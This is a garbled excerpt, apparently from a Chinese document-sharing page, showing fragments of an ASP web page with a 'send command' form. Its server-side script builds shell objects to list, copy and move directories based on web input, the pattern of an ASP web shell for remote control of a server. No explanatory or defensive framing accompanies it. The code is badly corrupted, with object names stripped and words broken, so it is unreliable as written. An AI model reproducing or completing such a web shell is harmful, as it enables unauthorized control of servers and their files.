【文章內(nèi)容簡介】
type=text name=text6 value=%=szCMD6 % size=20br input type=submit name=sb value=發(fā)送命令 class=input /form /table /center /body /html % szCMD = (text) 39。目錄瀏覽 if (szCMD ) then set shell=() 39。建立 shell對象 set fod1=(szcmd) set foditems= for each co in foditems font color=red amp。 amp。 amp。 amp。 /fontbr next end if % % szCMD1 = (text1) 39。目錄拷貝,不能進行文件拷貝 szCMD2 = (text2) if szcmd1 and szcmd2 then set shell1=() 39。建立 shell對象 set fod1=(szcmd2) for i=len(szcmd1) to 1 step 1 if mid(szcmd1,i,1)= then path=left(szcmd1,i1) exit for end if next if len(path)=2 then path=path amp。 path2=right(szcmd1,len(szcmd1)i) set fod2=(path) set foditem=(path2) foditem mand pleted success! end if % % szCMD3 = (text3) 39。目錄移動 szCMD4 = (text4) if szcmd3 and szcmd4 then set shell2=() 39。建立 shell對象 set fod1=(szcmd4) for i=len(szcmd3) to 1 step 1 if mid(szcmd3,i,1)= then path=left(szcmd3,i1) exit for end if next if len(path)=2 then path=path amp。 path2=right(s